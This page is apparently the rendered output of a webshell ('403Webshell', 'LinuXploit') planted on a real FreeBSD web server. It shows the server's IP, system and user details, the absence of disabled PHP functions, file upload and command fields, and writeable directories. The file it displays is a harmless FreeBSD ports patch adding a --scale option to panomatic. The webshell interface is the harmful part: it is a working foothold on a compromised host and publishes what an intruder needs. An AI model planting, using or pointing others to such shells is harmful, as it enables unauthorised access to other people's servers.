403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.116
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/graphics/panomatic/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/graphics/panomatic/files/patch-panomatic-main.cpp
--- panomatic/main.cpp.orig	2008-03-10 20:19:09.000000000 +0000
+++ panomatic/main.cpp	2012-09-24 12:02:46.529117189 +0000
@@ -92,6 +92,7 @@
 		MyOutput my;
 		cmd.setOutput(&my);
 		
+		ValueArg<float> aArgScale("","scale", "Scale image with factor to detect keypoints    (default:0.5)\n", false, 0.5, "float");
 		SwitchArg aArgFullScale("","fullscale", "Uses full scale image to detect keypoints    (default:false)\n", false);
 		SwitchArg aArgSurfExtended("","surf128", "Uses extended SURF (128 descriptors)    (default:true)", true);
 		ValueArg<int> aArgSurfScoreThreshold("","surfscore", "SURF Detection score threshold    (default : 1000)\n", false, 1000, "int");
@@ -130,6 +131,7 @@
 		cmd.add(aArgSurfScoreThreshold);		
 		cmd.add(aArgSurfExtended);
 		cmd.add(aArgFullScale);
+		cmd.add(aArgScale);
 		
 		//cmd.add( aArgSurfExtended );
 
@@ -175,7 +177,8 @@
 		if (aArgSieve2Size.isSet())			ioPanoDetector.setSieve2Size(aArgSieve2Size.getValue());
 		if (aArgLinearMatch.isSet())		ioPanoDetector.setLinearMatch(aArgLinearMatch.getValue());
 		if (aArgLinearMatchLen.isSet())		ioPanoDetector.setLinearMatchLen(aArgLinearMatchLen.getValue());
-        if (aArgFullScale.isSet())          ioPanoDetector.setDownscale(false);
+        if (aArgFullScale.isSet())          ioPanoDetector.setScale(1.);
+        if (aArgScale.isSet())          ioPanoDetector.setScale(aArgScale.getValue());
             
 		if (aArgTest.isSet())				ioPanoDetector.setTest(aArgTest.getValue());
 		if (aArgCores.isSet())				ioPanoDetector.setCores(aArgCores.getValue());

Youez - 2016 - github.com/yon3zu
LinuXploit